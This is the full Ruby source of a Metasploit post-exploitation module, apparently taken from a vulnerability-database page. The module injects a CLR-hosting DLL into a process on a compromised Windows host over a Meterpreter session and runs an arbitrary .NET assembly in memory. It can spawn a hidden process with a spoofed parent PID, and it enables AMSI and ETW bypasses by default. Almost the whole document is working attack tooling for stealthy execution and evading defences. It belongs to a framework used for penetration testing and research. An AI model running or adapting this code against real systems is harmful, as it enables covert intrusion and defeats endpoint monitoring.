##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Exploit::Retry
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Dotnet
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Execute .net Assembly (x64 only)',
'Description' => %q{
This module executes a .NET assembly in memory. It
reflectively loads a dll that will host CLR, then it copies
the assembly to be executed into memory. Credits for AMSI
bypass to Rastamouse (@_RastaMouse)
},
'License' => MSF_LICENSE,
'Author' => 'b4rtik',
'Arch' => [ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows x64', { 'Arch' => ARCH_X64 }]],
'References' => [['URL', 'https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/']],
'DefaultTarget' => 0,
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_attach
stdapi_sys_process_execute
stdapi_sys_process_get_processes
stdapi_sys_process_getpid
stdapi_sys_process_kill
stdapi_sys_process_memory_allocate
stdapi_sys_process_memory_write
stdapi_sys_process_thread_create
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
spawn_condition = ['TECHNIQUE', '==', 'SPAWN_AND_INJECT']
inject_condition = ['TECHNIQUE', '==', 'INJECT']
register_options(
[
OptEnum.new('TECHNIQUE', [true, 'Technique for executing assembly', 'SELF', ['SELF', 'INJECT', 'SPAWN_AND_INJECT']]),
OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
OptBool.new('AMSIBYPASS', [true, 'Enable AMSI bypass', true]),
OptBool.new('ETWBYPASS', [true, 'Enable ETW bypass', true]),
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe'], conditions: spawn_condition),
OptBool.new('USETHREADTOKEN', [false, 'Spawn process using the current thread impersonation', true], conditions: spawn_condition),
OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)', nil], conditions: spawn_condition),
OptInt.new('PID', [false, 'PID to inject into', nil], conditions: inject_condition),
], self.class
)
register_advanced_options(
[
OptBool.new('KILL', [true, 'Kill the launched process at the end of the task', true], conditions: spawn_condition)
]
)
self.terminate_process = false
self.hprocess = nil
self.handles_to_close = []
end
def find_required_clr(exe_path)
filecontent = File.read(exe_path).bytes
sign = 'v4.0.30319'.bytes
filecontent.each_with_index do |_item, index|
sign.each_with_index do |subitem, indexsub|
break if subitem.to_s(16) != filecontent[index + indexsub].to_s(16)
if indexsub == 9
vprint_status('CLR version required: v4.0.30319')
return 'v4.0.30319'
end
end
end
vprint_status('CLR version required: v2.0.50727')
'v2.0.50727'
end
def check_requirements(clr_req, installed_dotnet_versions)
installed_dotnet_versions.each do |fi|
if clr_req == 'v4.0.30319'
if fi[0] == '4'
vprint_status('Requirements ok')
return true
end
elsif clr_req == 'v2.0.50727'
if fi[0] == '3' || fi[0] == '2'
vprint_status('Requirements ok')
return true
end
end
end
print_error('Required dotnet version not present')
false
end
def run
exe_path = datastore['DOTNET_EXE']
unless File.file?(exe_path)
fail_with(Failure::BadConfig, 'Assembly not found')
end
installed_dotnet_versions = get_dotnet_versions
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
if installed_dotnet_versions == []
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
end
rclr = find_required_clr(exe_path)
if check_requirements(rclr, installed_dotnet_versions) == false
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
end
if sysinfo.nil?
fail_with(Failure::BadConfig, 'Session invalid')
else
print_status("Running module against #{sysinfo['Computer']}")
end
execute_assembly(exe_path, rclr)
end
def cleanup
if terminate_process && !hprocess.nil? && !hprocess.pid.nil?
print_good("Killing process #{hprocess.pid}")
begin
client.sys.process.kill(hprocess.pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_warning("Error while terminating process: #{e}")
print_warning('Process may already have terminated')
end
end
handles_to_close.each(&:close)
end
def sanitize_process_name(process_name)
if process_name.split(//).last(4).join.eql? '.exe'
out_process_name = process_name
else
"#{process_name}.exe"
end
out_process_name
end
def pid_exists(pid)
host_processes = client.sys.process.get_processes
if host_processes.empty?
print_bad('No running processes found on the target host.')
return false
end
theprocess = host_processes.find { |x| x['pid'] == pid }
!theprocess.nil?
end
def launch_process
if datastore['PROCESS'].nil?
fail_with(Failure::BadConfig, 'Spawn and inject selected, but no process was specified')
end
ppid_selected = datastore['PPID'] != 0 && !datastore['PPID'].nil?
if ppid_selected && !pid_exists(datastore['PPID'])
fail_with(Failure::BadConfig, "Process #{datastore['PPID']} was not found")
elsif ppid_selected
print_status("Spoofing PPID #{datastore['PPID']}")
end
process_name = sanitize_process_name(datastore['PROCESS'])
print_status("Launching #{process_name} to host CLR...")
begin
process = client.sys.process.execute(process_name, nil, {
'Channelized' => false,
'Hidden' => true,
'UseThreadToken' => !(!datastore['USETHREADTOKEN']),
'ParentPid' => datastore['PPID']
})
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::BadConfig, "Unable to launch process: #{e}")
end
print_good("Process #{hprocess.pid} launched.")
hprocess
end
def inject_hostclr_dll(process)
print_status("Reflectively injecting the Host DLL into #{process.pid}..")
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
library_path = ::File.expand_path(library_path)
print_status("Injecting Host into #{process.pid}...")
# Memory management note: this memory is freed by the C++ code itself upon completion
# of the assembly
inject_dll_into_process(process, library_path)
end
def open_process(pid)
if (pid == 0) || pid.nil?
fail_with(Failure::BadConfig, 'Inject technique selected, but no PID set')
end
if pid_exists(pid)
print_status("Opening handle to process #{pid}...")
begin
hprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::BadConfig, "Unable to access process #{pid}: #{e}")
end
print_good('Handle opened')
hprocess
else
fail_with(Failure::BadConfig, 'PID not found')
end
end
def check_process_suitability(pid)
process = session.sys.process.each_process.find { |i| i['pid'] == pid }
if process.nil?
fail_with(Failure::BadConfig, 'PID not found')
end
arch = process['arch']
if arch != ARCH_X64
fail_with(Failure::BadConfig, 'execute_dotnet_assembly currently only supports x64 processes')
end
end
def execute_assembly(exe_path, clr_version)
if datastore['TECHNIQUE'] == 'SPAWN_AND_INJECT'
self.hprocess = launch_process
self.terminate_process = datastore['KILL']
check_process_suitability(hprocess.pid)
else
if datastore['TECHNIQUE'] == 'INJECT'
inject_pid = datastore['PID']
elsif datastore['TECHNIQUE'] == 'SELF'
inject_pid = client.sys.process.getpid
end
check_process_suitability(inject_pid)
self.hprocess = open_process(inject_pid)
end
handles_to_close.append(hprocess)
begin
exploit_mem, offset = inject_hostclr_dll(hprocess)
pipe_suffix = Rex::Text.rand_text_alphanumeric(8)
pipe_name = "\\\\.\\pipe\\#{pipe_suffix}"
appdomain_name = Rex::Text.rand_text_alpha(9)
vprint_status("Connecting with CLR via #{pipe_name}")
vprint_status("Running in new AppDomain: #{appdomain_name}")
assembly_mem = copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, hprocess)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::PayloadFailed, "Error while allocating memory: #{e}")
end
print_status('Executing...')
begin
thread = hprocess.thread.create(exploit_mem + offset, assembly_mem)
handles_to_close.append(thread)
pipe = nil
retry_until_truthy(timeout: 15) do
pipe = client.fs.file.open(pipe_name)
true
rescue Rex::Post::Meterpreter::RequestError => e
if e.code != Msf::WindowsError::FILE_NOT_FOUND
# File not found is expected, since the pipe may not be set up yet.
# Any other error would be surprising.
vprint_error("Error while attaching to named pipe: #{e.inspect}")
end
false
end
if pipe.nil?
fail_with(Failure::PayloadFailed, 'Unable to connect to output stream')
end
basename = File.basename(datastore['DOTNET_EXE'])
dir = Msf::Config.log_directory + File::SEPARATOR + 'dotnet'
unless Dir.exist?(dir)
Dir.mkdir(dir)
end
logfile = dir + File::SEPARATOR + "log_#{basename}_#{Time.now.strftime('%Y%m%d%H%M%S')}"
read_output(pipe, logfile)
# rubocop:disable Lint/RescueException
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::PayloadFailed, e.message)
rescue ::Exception => e
# rubocop:enable Lint/RescueException
unless terminate_process
# We don't provide a trigger to the assembly to self-terminate, so it will continue on its merry way.
# Because named pipes don't have an infinite buffer, if too much additional output is provided by the
# assembly, it will block until we read it. So it could hang at an unpredictable location.
# Also, since we can't confidently clean up the memory of the DLL that may still be running, there
# will also be a memory leak.
reason = 'terminating due to exception'
if e.is_a?(::Interrupt)
reason = 'interrupted'
end
print_warning('****')
print_warning("Execution #{reason}. Assembly may still be running. However, as we are no longer retrieving output, it may block at an unpredictable location.")
print_warning('****')
end
raise
end
print_good('Execution finished.')
end
def copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, process)
print_status("Host injected. Copy assembly into #{process.pid}...")
# Structure:
# - Packed metadata (string/data lengths, flags)
# - Pipe Name
# - Appdomain Name
# - CLR Version
# - Param data
# - Assembly data
assembly_size = File.size(exe_path)
cln_params = ''
cln_params << datastore['ARGUMENTS'] unless datastore['ARGUMENTS'].nil?
cln_params << "\x00"
pipe_name = pipe_name.encode(::Encoding::ASCII_8BIT)
appdomain_name = appdomain_name.encode(::Encoding::ASCII_8BIT)
clr_version = clr_version.encode(::Encoding::ASCII_8BIT)
params = [
pipe_name.bytesize,
appdomain_name.bytesize,
clr_version.bytesize,
cln_params.length,
assembly_size,
datastore['AMSIBYPASS'] ? 1 : 0,
datastore['ETWBYPASS'] ? 1 : 0,
].pack('IIIIICC')
payload = params
payload += pipe_name
payload += appdomain_name
payload += clr_version
payload += cln_params
payload += File.read(exe_path)
payload_size = payload.length
# Memory management note: this memory is freed by the C++ code itself upon completion
# of the assembly
allocated_memory = process.memory.allocate(payload_size, PROT_READ | PROT_WRITE)
process.memory.write(allocated_memory, payload)
print_status('Assembly copied.')
allocated_memory
end
def read_output(pipe, logfilename)
print_status('Start reading output')
print_status("Writing output to #{logfilename}")
logfile = File.open(logfilename, 'wb')
begin
loop do
output = pipe.read(1024)
if !output.nil? && !output.empty?
print(output)
logfile.write(output)
end
break if output.nil? || output.empty?
end
rescue ::StandardError => e
print_error("Exception: #{e.inspect}")
end
logfile.close
print_status('End output.')
end
attr_accessor :terminate_process, :hprocess, :handles_to_close
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation